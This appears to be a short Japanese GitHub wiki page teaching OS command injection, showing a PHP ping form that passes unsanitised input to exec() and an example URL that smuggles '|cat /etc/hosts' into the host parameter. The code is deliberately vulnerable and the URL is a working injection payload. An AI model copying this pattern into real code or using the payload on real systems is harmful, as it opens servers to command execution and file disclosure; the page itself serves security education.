OSコマンドインジェクション 01 - yujitounai/helloworld GitHub Wiki
ユーザーの入力値を使ってOSコマンドを実行している
<div class="box">
<form method="get" action="">ping
<input name="host" type="text">
<input type="submit">
</form>
</div>
<?php
$host=filter_input(INPUT_GET, 'host');
$r = exec('ping -c 1 -W 1 '. $host,$output, $retval);
foreach($output as $value){
echo $value;
echo "<br>\n";
}
?>
oscommand-01.php?host=localhost|cat+/etc/hosts